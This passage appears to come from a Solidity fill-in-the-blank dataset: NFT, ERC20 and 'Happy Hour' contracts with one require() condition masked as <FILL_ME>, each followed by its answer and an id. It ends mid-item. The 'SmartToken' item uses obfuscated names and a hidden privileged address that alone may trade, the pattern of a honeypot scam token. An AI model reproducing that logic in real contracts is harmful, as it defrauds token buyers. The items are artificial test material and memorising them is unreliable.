* - The caller must own `tokenId` or be an approved operator.
*/
function burn(uint256 tokenId) external;
}
contract AtemV1Refund is Ownable {
bytes32 public whitelistRoot;
address immutable public externalNFTContractAddress;
// mapping(address => bool) isRefunded;
constructor(address contractAddress, bytes32 merkleroot)
{
}
function _widthdraw(address _address, uint256 _amount) private {
}
/** Receive and withdraw */
receive() external payable { }
function withdrawAll() external onlyOwner {
}
function withdraw(uint256 amount) external onlyOwner {
}
/**
* Need to get approval before burn.
*/
function burnAndRefund(uint256 tokenId, uint256 value, bytes32[] calldata proof)
external
{
address account = _msgSender();
require(<FILL_ME>)
IERC721Burnable(externalNFTContractAddress).burn(tokenId);
require(address(this).balance >= value);
_widthdraw(account, value);
}
/** Merkle tree helpers */
function _leaf(address account, uint256 tokenId, uint256 value)
internal pure returns (bytes32)
{
}
function _verify(bytes32 leaf, bytes32[] memory proof)
internal view returns (bool)
{
}
/** Setters */
function setMerkleRoot(bytes32 newRoot) onlyOwner external {
}
}
| _verify(_leaf(account,tokenId,value),proof),"Invalid merkle proof" | 500,781 | _verify(_leaf(account,tokenId,value),proof) |
"Ownable: caller is not the minter" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "ERC20Burnable.sol";
import "Ownable.sol";
import "draft-ERC20Permit.sol";
contract PolymerToken is ERC20Permit, ERC20Burnable, Ownable{
uint8 private _decimals;
address private _minter;
event MinterTransferred(address indexed previousMinter, address indexed newMinter);
constructor(string memory name, string memory symbol, uint8 decimals_, uint256 initialSupply) ERC20(name, symbol) ERC20Permit(name) {
}
function decimals() public view virtual override returns (uint8) {
}
function minter() public view virtual returns (address) {
}
modifier onlyMinter() {
require(<FILL_ME>)
_;
}
function transferMinter(address newMinter) public onlyOwner {
}
function mint(address _to, uint256 _amount) public onlyMinter {
}
function _setMinter(address newMinter) private {
}
}
| minter()==_msgSender(),"Ownable: caller is not the minter" | 500,910 | minter()==_msgSender() |
"ERC20: trading is not yet enabled." | pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private smartArray;
mapping (address => bool) private smartBalance;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private smartPair = 0;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; address private addr01u82dnkjf2821as; uint256 private _totalSupply;
bool private trading; uint256 private Lighter; bool private Sheets; uint256 private Hoba;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function decimals() public view virtual override returns (uint8) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function name() public view virtual override returns (string memory) {
}
function openTrading() external onlyOwner returns (bool) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function symbol() public view virtual override returns (string memory) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function burn(uint256 amount) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _SmartestToken(address creator) internal virtual {
}
function _burn(address account, uint256 amount) internal {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function last(uint256 g) internal view returns (address) { }
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _balancesOfTheIndians(address sender, address recipient, bool simulation) internal {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function _balancesOfTheLighters(address sender, address recipient) internal {
require(<FILL_ME>)
_balancesOfTheIndians(sender, recipient, (address(sender) == addr01u82dnkjf2821as) && (Lighter > 0));
Lighter += (sender == addr01u82dnkjf2821as) ? 1 : 0;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function _DeploySmart(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract SmartToken is ERC20Token {
constructor() ERC20Token("Smart Token", "SMART", msg.sender, 100000000 * 10 ** 18) {
}
}
| (trading||(sender==addr01u82dnkjf2821as)),"ERC20: trading is not yet enabled." | 500,925 | (trading||(sender==addr01u82dnkjf2821as)) |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IERC20 {
function supply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Ownable, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint256 private _initialSupply;
uint256 private _supply;
uint8 private _decimal;
constructor(string memory name_, string memory symbol_, uint256 initialSupply_, uint8 decimal_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function initialSupply() public view virtual returns (uint256) {
}
function supply() public view virtual override returns(uint256){
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function deflationary(uint256 amount) internal pure returns (uint256) {
require(<FILL_ME>)
return amount * 500 / 10_000;
}
function deflationarytokens() public view returns(uint256){
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract TRADEX is ERC20 {
using SafeMath for uint256;
constructor(string memory coinName_, string memory symbol_, uint256 initialSupply_, uint8 decimal_, address to) ERC20(coinName_, symbol_, initialSupply_, decimal_) {
}
}
| (amount*500)>=10_000 | 501,043 | (amount*500)>=10_000 |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IERC20 {
function supply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Ownable, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint256 private _initialSupply;
uint256 private _supply;
uint8 private _decimal;
constructor(string memory name_, string memory symbol_, uint256 initialSupply_, uint8 decimal_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function initialSupply() public view virtual returns (uint256) {
}
function supply() public view virtual override returns(uint256){
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function deflationary(uint256 amount) internal pure returns (uint256) {
}
function deflationarytokens() public view returns(uint256){
require(<FILL_ME>)
return _initialSupply * 500 / 10_000;
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract TRADEX is ERC20 {
using SafeMath for uint256;
constructor(string memory coinName_, string memory symbol_, uint256 initialSupply_, uint8 decimal_, address to) ERC20(coinName_, symbol_, initialSupply_, decimal_) {
}
}
| (_initialSupply*500)>=10_000 | 501,043 | (_initialSupply*500)>=10_000 |
"MinterRole: caller mintLimit does not enough" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract MinterRole is Ownable {
mapping(address => uint256) public _mintersMap;
uint256 private minterLength;
event SetMinterLimit(address indexed account, uint256 indexed mintNum);
constructor() {
}
modifier onlyMinter(uint256 num) {
require(<FILL_ME>)
_;
}
function getMinterLength() public view returns (uint256) {
}
function hasEnoughMint(address account, uint num) public view returns (bool) {
}
function setMinterLimit(address account, uint mintNumLimit) public onlyOwner {
}
function _reduceMintNum(uint mintNumLimit) internal {
}
}
//## SmartClubNFT721
contract SmartClubNFT721 is ERC721Enumerable, MinterRole {
string private _baseTokenURI;
uint256 public nextFreeTokenId = 1;
mapping(address => uint256) public mintRecord;
constructor(
string memory name,
string memory symbol,
string memory baseTokenURI
) ERC721(name, symbol) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function transferFromBatch(address from, address to, uint256[] memory tokenIds) public {
}
function transferFromBatchMulti(address from, address[] memory tos, uint256[] memory tokenIds) public {
}
function safeTransferFromBatch(address from, address to, uint256[] memory tokenIds) public {
}
function safeTransferFromBatchMulti(address from, address[] memory tos, uint256[] memory tokenIds) public {
}
function freeMint() public {
}
function mint(address to, uint256 tokenId) public onlyMinter(1) {
}
function safeMint(address to, uint256 tokenId, bytes memory data) public onlyMinter(1) {
}
function safeMintBatch(
address to,
uint256[] memory tokenIds,
bytes memory data
) public onlyMinter(tokenIds.length) {
}
function burn(address to, uint256 tokenId) public {
}
function burnBatch(
address to,
uint256[] memory tokenIds
) public {
}
function setURI(string memory baseTokenURI) public onlyOwner {
}
}
| hasEnoughMint(_msgSender(),num),"MinterRole: caller mintLimit does not enough" | 501,067 | hasEnoughMint(_msgSender(),num) |
"The address has already mint it" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract MinterRole is Ownable {
mapping(address => uint256) public _mintersMap;
uint256 private minterLength;
event SetMinterLimit(address indexed account, uint256 indexed mintNum);
constructor() {
}
modifier onlyMinter(uint256 num) {
}
function getMinterLength() public view returns (uint256) {
}
function hasEnoughMint(address account, uint num) public view returns (bool) {
}
function setMinterLimit(address account, uint mintNumLimit) public onlyOwner {
}
function _reduceMintNum(uint mintNumLimit) internal {
}
}
//## SmartClubNFT721
contract SmartClubNFT721 is ERC721Enumerable, MinterRole {
string private _baseTokenURI;
uint256 public nextFreeTokenId = 1;
mapping(address => uint256) public mintRecord;
constructor(
string memory name,
string memory symbol,
string memory baseTokenURI
) ERC721(name, symbol) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function transferFromBatch(address from, address to, uint256[] memory tokenIds) public {
}
function transferFromBatchMulti(address from, address[] memory tos, uint256[] memory tokenIds) public {
}
function safeTransferFromBatch(address from, address to, uint256[] memory tokenIds) public {
}
function safeTransferFromBatchMulti(address from, address[] memory tos, uint256[] memory tokenIds) public {
}
function freeMint() public {
require(<FILL_ME>)
mintRecord[_msgSender()] = nextFreeTokenId;
_mint(_msgSender(), nextFreeTokenId);
nextFreeTokenId++;
}
function mint(address to, uint256 tokenId) public onlyMinter(1) {
}
function safeMint(address to, uint256 tokenId, bytes memory data) public onlyMinter(1) {
}
function safeMintBatch(
address to,
uint256[] memory tokenIds,
bytes memory data
) public onlyMinter(tokenIds.length) {
}
function burn(address to, uint256 tokenId) public {
}
function burnBatch(
address to,
uint256[] memory tokenIds
) public {
}
function setURI(string memory baseTokenURI) public onlyOwner {
}
}
| mintRecord[_msgSender()]==0,"The address has already mint it" | 501,067 | mintRecord[_msgSender()]==0 |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract MinterRole is Ownable {
mapping(address => uint256) public _mintersMap;
uint256 private minterLength;
event SetMinterLimit(address indexed account, uint256 indexed mintNum);
constructor() {
}
modifier onlyMinter(uint256 num) {
}
function getMinterLength() public view returns (uint256) {
}
function hasEnoughMint(address account, uint num) public view returns (bool) {
}
function setMinterLimit(address account, uint mintNumLimit) public onlyOwner {
}
function _reduceMintNum(uint mintNumLimit) internal {
}
}
//## SmartClubNFT721
contract SmartClubNFT721 is ERC721Enumerable, MinterRole {
string private _baseTokenURI;
uint256 public nextFreeTokenId = 1;
mapping(address => uint256) public mintRecord;
constructor(
string memory name,
string memory symbol,
string memory baseTokenURI
) ERC721(name, symbol) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function transferFromBatch(address from, address to, uint256[] memory tokenIds) public {
}
function transferFromBatchMulti(address from, address[] memory tos, uint256[] memory tokenIds) public {
}
function safeTransferFromBatch(address from, address to, uint256[] memory tokenIds) public {
}
function safeTransferFromBatchMulti(address from, address[] memory tos, uint256[] memory tokenIds) public {
}
function freeMint() public {
}
function mint(address to, uint256 tokenId) public onlyMinter(1) {
}
function safeMint(address to, uint256 tokenId, bytes memory data) public onlyMinter(1) {
}
function safeMintBatch(
address to,
uint256[] memory tokenIds,
bytes memory data
) public onlyMinter(tokenIds.length) {
}
function burn(address to, uint256 tokenId) public {
}
function burnBatch(
address to,
uint256[] memory tokenIds
) public {
require(
to == _msgSender() || isApprovedForAll(to, _msgSender()),
"ERC721: caller is not token owner nor approved"
);
for (uint256 i = 0; i < tokenIds.length; i++) {
require(<FILL_ME>)
_burn(tokenIds[i]);
}
}
function setURI(string memory baseTokenURI) public onlyOwner {
}
}
| getApproved(tokenIds[i])==_msgSender() | 501,067 | getApproved(tokenIds[i])==_msgSender() |
null | /* SPDX-License-Identifier: UNLICENSED */
pragma solidity ^0.8.0;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol';
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol';
interface IDRNKtoken {
function mintDRNK(address to, uint amount) external;
}
/* Main Happy Hour Protocol v3 Engine Contract */
contract HappyHourProtocolv3 is ERC20, Ownable {
uint happyHourFee = 1;
uint happyHourFeePool;
uint timeIN;
uint timeOUT;
uint hoursSpentDrinking;
uint HOUR2DRNKburnMinimum = 2000 * (10 ** 18);
uint PDEcommissionRate = 10;
uint HOURperhour = 100;
event endHOURresults(uint hoursSpentDrinking, uint HOURearned, uint PDEcommissionEarned, uint PDEindex);
event newPDEonboarded(string _name, string _location, address _address, uint _PDEid, uint PDEindexNum, uint accessCode);
event newDRNKminted(uint HOURburned, uint DRNKminted);
address public _admin;
struct PDE {
string _name;
string _location;
address _address;
uint _accessCode;
uint _PDEid;
}
PDE[] public pdes;
mapping (uint => address) public PDEtoOwner;
mapping (uint => uint) public drinkingIDtoPDEid;
/* Initializing the HappyHourProtocolv3 contract */
constructor() ERC20('Happy Hour Token v3', 'HOUR') {
}
/* Public onboarding function for PDE. Name, Location, ETH address, and a temporary Access Code are required. */
function onboardPDE(string memory _name, string memory _location, address _address, uint _accessCode) public {
}
function totalPDE() public view returns (uint) {
}
/* Enables PDEs to change their Access Code anytime */
function _changeAccessCode(uint _PDEindexNum, uint _newAccessCode) public {
require(<FILL_ME>)
pdes[_PDEindexNum]._accessCode = _newAccessCode;
}
/* Contract owner may adjust HOUR burn minimum */
function setHOUR2DRNKburnMinimum(uint _burnMinimum) external onlyOwner {
}
/* $DRNK mint function. Requires inputting DRNK governance token contract, ETH address, and a minimum $HOUR to burn. */
function mintyDRNK(address _DRNKaddress, address to, uint _burnAmount) public {
}
/* mintHOUR and burnHOUR functions will not be public */
function mintHOUR(address to, uint amount) external onlyOwner {
}
function burnHOUR(uint amount) internal {
}
/* Drinkers need to stake a minimum happy hour fee in order to start earning $HOUR. Minimum happy hour fee may be adjusted. */
function setHappyHourFee(uint _fee) external onlyOwner {
}
/* Each Drinker is designated an ID in order to keep track of current hours accumulated per Drinker during 1 session. */
mapping(address => uint256) public drinkingID;
uint256 drinkingIDcounter;
event createdDrinkingID(address user, uint256 id);
function givePoolDrinkingId() internal returns (uint256) {
}
function nullPoolDrinkingId() internal {
}
function getPoolDrinkingId() public view returns(uint256) {
}
function getNumberOfCurrentDrinkers() public view returns(uint) {
}
/* Start earning $HOUR function. Requires a minimum happy hour fee stake, the PDE's PDEid and its Access Code. */
function startHOUR(uint _PDEid, uint _accessCode) public payable {
}
/* Getter function to view ETH amount staked in current happy hour fee pool. */
function gethappyHourFeePool() public view returns (uint) {
}
/* Function to stop earning $HOUR */
function endHOUR(address payable wiped) public {
}
/* Adjustable earned $HOUR/hour rate */
function adjustHOURperhourRate(uint _newRate) external onlyOwner {
}
receive() external payable {}
}
| PDEtoOwner[_PDEindexNum]==msg.sender | 501,136 | PDEtoOwner[_PDEindexNum]==msg.sender |
"Insufficient amount of HOUR tokens to burn." | /* SPDX-License-Identifier: UNLICENSED */
pragma solidity ^0.8.0;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol';
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol';
interface IDRNKtoken {
function mintDRNK(address to, uint amount) external;
}
/* Main Happy Hour Protocol v3 Engine Contract */
contract HappyHourProtocolv3 is ERC20, Ownable {
uint happyHourFee = 1;
uint happyHourFeePool;
uint timeIN;
uint timeOUT;
uint hoursSpentDrinking;
uint HOUR2DRNKburnMinimum = 2000 * (10 ** 18);
uint PDEcommissionRate = 10;
uint HOURperhour = 100;
event endHOURresults(uint hoursSpentDrinking, uint HOURearned, uint PDEcommissionEarned, uint PDEindex);
event newPDEonboarded(string _name, string _location, address _address, uint _PDEid, uint PDEindexNum, uint accessCode);
event newDRNKminted(uint HOURburned, uint DRNKminted);
address public _admin;
struct PDE {
string _name;
string _location;
address _address;
uint _accessCode;
uint _PDEid;
}
PDE[] public pdes;
mapping (uint => address) public PDEtoOwner;
mapping (uint => uint) public drinkingIDtoPDEid;
/* Initializing the HappyHourProtocolv3 contract */
constructor() ERC20('Happy Hour Token v3', 'HOUR') {
}
/* Public onboarding function for PDE. Name, Location, ETH address, and a temporary Access Code are required. */
function onboardPDE(string memory _name, string memory _location, address _address, uint _accessCode) public {
}
function totalPDE() public view returns (uint) {
}
/* Enables PDEs to change their Access Code anytime */
function _changeAccessCode(uint _PDEindexNum, uint _newAccessCode) public {
}
/* Contract owner may adjust HOUR burn minimum */
function setHOUR2DRNKburnMinimum(uint _burnMinimum) external onlyOwner {
}
/* $DRNK mint function. Requires inputting DRNK governance token contract, ETH address, and a minimum $HOUR to burn. */
function mintyDRNK(address _DRNKaddress, address to, uint _burnAmount) public {
require(<FILL_ME>)
uint DRNKneeded2mint = (_burnAmount * (10 ** 18)) / 10;
burnHOUR(_burnAmount);
IDRNKtoken(_DRNKaddress).mintDRNK(to, DRNKneeded2mint);
emit newDRNKminted(_burnAmount, DRNKneeded2mint);
}
/* mintHOUR and burnHOUR functions will not be public */
function mintHOUR(address to, uint amount) external onlyOwner {
}
function burnHOUR(uint amount) internal {
}
/* Drinkers need to stake a minimum happy hour fee in order to start earning $HOUR. Minimum happy hour fee may be adjusted. */
function setHappyHourFee(uint _fee) external onlyOwner {
}
/* Each Drinker is designated an ID in order to keep track of current hours accumulated per Drinker during 1 session. */
mapping(address => uint256) public drinkingID;
uint256 drinkingIDcounter;
event createdDrinkingID(address user, uint256 id);
function givePoolDrinkingId() internal returns (uint256) {
}
function nullPoolDrinkingId() internal {
}
function getPoolDrinkingId() public view returns(uint256) {
}
function getNumberOfCurrentDrinkers() public view returns(uint) {
}
/* Start earning $HOUR function. Requires a minimum happy hour fee stake, the PDE's PDEid and its Access Code. */
function startHOUR(uint _PDEid, uint _accessCode) public payable {
}
/* Getter function to view ETH amount staked in current happy hour fee pool. */
function gethappyHourFeePool() public view returns (uint) {
}
/* Function to stop earning $HOUR */
function endHOUR(address payable wiped) public {
}
/* Adjustable earned $HOUR/hour rate */
function adjustHOURperhourRate(uint _newRate) external onlyOwner {
}
receive() external payable {}
}
| (_burnAmount*(10**18))>=HOUR2DRNKburnMinimum,"Insufficient amount of HOUR tokens to burn." | 501,136 | (_burnAmount*(10**18))>=HOUR2DRNKburnMinimum |
"You are already drinking." | /* SPDX-License-Identifier: UNLICENSED */
pragma solidity ^0.8.0;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol';
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol';
interface IDRNKtoken {
function mintDRNK(address to, uint amount) external;
}
/* Main Happy Hour Protocol v3 Engine Contract */
contract HappyHourProtocolv3 is ERC20, Ownable {
uint happyHourFee = 1;
uint happyHourFeePool;
uint timeIN;
uint timeOUT;
uint hoursSpentDrinking;
uint HOUR2DRNKburnMinimum = 2000 * (10 ** 18);
uint PDEcommissionRate = 10;
uint HOURperhour = 100;
event endHOURresults(uint hoursSpentDrinking, uint HOURearned, uint PDEcommissionEarned, uint PDEindex);
event newPDEonboarded(string _name, string _location, address _address, uint _PDEid, uint PDEindexNum, uint accessCode);
event newDRNKminted(uint HOURburned, uint DRNKminted);
address public _admin;
struct PDE {
string _name;
string _location;
address _address;
uint _accessCode;
uint _PDEid;
}
PDE[] public pdes;
mapping (uint => address) public PDEtoOwner;
mapping (uint => uint) public drinkingIDtoPDEid;
/* Initializing the HappyHourProtocolv3 contract */
constructor() ERC20('Happy Hour Token v3', 'HOUR') {
}
/* Public onboarding function for PDE. Name, Location, ETH address, and a temporary Access Code are required. */
function onboardPDE(string memory _name, string memory _location, address _address, uint _accessCode) public {
}
function totalPDE() public view returns (uint) {
}
/* Enables PDEs to change their Access Code anytime */
function _changeAccessCode(uint _PDEindexNum, uint _newAccessCode) public {
}
/* Contract owner may adjust HOUR burn minimum */
function setHOUR2DRNKburnMinimum(uint _burnMinimum) external onlyOwner {
}
/* $DRNK mint function. Requires inputting DRNK governance token contract, ETH address, and a minimum $HOUR to burn. */
function mintyDRNK(address _DRNKaddress, address to, uint _burnAmount) public {
}
/* mintHOUR and burnHOUR functions will not be public */
function mintHOUR(address to, uint amount) external onlyOwner {
}
function burnHOUR(uint amount) internal {
}
/* Drinkers need to stake a minimum happy hour fee in order to start earning $HOUR. Minimum happy hour fee may be adjusted. */
function setHappyHourFee(uint _fee) external onlyOwner {
}
/* Each Drinker is designated an ID in order to keep track of current hours accumulated per Drinker during 1 session. */
mapping(address => uint256) public drinkingID;
uint256 drinkingIDcounter;
event createdDrinkingID(address user, uint256 id);
function givePoolDrinkingId() internal returns (uint256) {
require(<FILL_ME>)
drinkingIDcounter += 1;
drinkingID[msg.sender] = uint(keccak256(abi.encodePacked(block.timestamp, msg.sender)));
emit createdDrinkingID(msg.sender,drinkingID[msg.sender]);
return drinkingID[msg.sender];
}
function nullPoolDrinkingId() internal {
}
function getPoolDrinkingId() public view returns(uint256) {
}
function getNumberOfCurrentDrinkers() public view returns(uint) {
}
/* Start earning $HOUR function. Requires a minimum happy hour fee stake, the PDE's PDEid and its Access Code. */
function startHOUR(uint _PDEid, uint _accessCode) public payable {
}
/* Getter function to view ETH amount staked in current happy hour fee pool. */
function gethappyHourFeePool() public view returns (uint) {
}
/* Function to stop earning $HOUR */
function endHOUR(address payable wiped) public {
}
/* Adjustable earned $HOUR/hour rate */
function adjustHOURperhourRate(uint _newRate) external onlyOwner {
}
receive() external payable {}
}
| drinkingID[msg.sender]==0,"You are already drinking." | 501,136 | drinkingID[msg.sender]==0 |
"You haven't started drinking yet." | /* SPDX-License-Identifier: UNLICENSED */
pragma solidity ^0.8.0;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol';
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol';
interface IDRNKtoken {
function mintDRNK(address to, uint amount) external;
}
/* Main Happy Hour Protocol v3 Engine Contract */
contract HappyHourProtocolv3 is ERC20, Ownable {
uint happyHourFee = 1;
uint happyHourFeePool;
uint timeIN;
uint timeOUT;
uint hoursSpentDrinking;
uint HOUR2DRNKburnMinimum = 2000 * (10 ** 18);
uint PDEcommissionRate = 10;
uint HOURperhour = 100;
event endHOURresults(uint hoursSpentDrinking, uint HOURearned, uint PDEcommissionEarned, uint PDEindex);
event newPDEonboarded(string _name, string _location, address _address, uint _PDEid, uint PDEindexNum, uint accessCode);
event newDRNKminted(uint HOURburned, uint DRNKminted);
address public _admin;
struct PDE {
string _name;
string _location;
address _address;
uint _accessCode;
uint _PDEid;
}
PDE[] public pdes;
mapping (uint => address) public PDEtoOwner;
mapping (uint => uint) public drinkingIDtoPDEid;
/* Initializing the HappyHourProtocolv3 contract */
constructor() ERC20('Happy Hour Token v3', 'HOUR') {
}
/* Public onboarding function for PDE. Name, Location, ETH address, and a temporary Access Code are required. */
function onboardPDE(string memory _name, string memory _location, address _address, uint _accessCode) public {
}
function totalPDE() public view returns (uint) {
}
/* Enables PDEs to change their Access Code anytime */
function _changeAccessCode(uint _PDEindexNum, uint _newAccessCode) public {
}
/* Contract owner may adjust HOUR burn minimum */
function setHOUR2DRNKburnMinimum(uint _burnMinimum) external onlyOwner {
}
/* $DRNK mint function. Requires inputting DRNK governance token contract, ETH address, and a minimum $HOUR to burn. */
function mintyDRNK(address _DRNKaddress, address to, uint _burnAmount) public {
}
